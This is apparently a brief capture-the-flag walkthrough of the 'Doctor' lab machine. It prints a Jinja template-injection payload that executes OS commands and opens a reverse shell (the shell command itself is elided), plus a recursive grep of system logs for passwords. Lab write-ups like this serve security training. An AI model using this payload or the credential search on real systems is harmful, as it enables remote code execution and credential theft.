Doctor

Web discovery

Add doctors.htb to /etc/hosts. Directory enumeration reveals registration, login, and an unauthenticated /archive page. Create an account, submit a test post, and inspect the archive source.

Server-side template injection

The reflected title confirms Jinja template evaluation. A crafted post title executes Python and connects to a Netcat listener.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c '...reverse shell...'").read()}}{% endif %}{% endfor %}

Requesting /archive triggers the callback.

Credential and privilege escalation path

The original walkthrough searches logs recursively for password material, pivots to the local user, and then uses the machine's privileged service configuration to obtain root. Supporting screenshots and detailed command output remain in the linked PDF.

grep -R -e 'password' /var/log/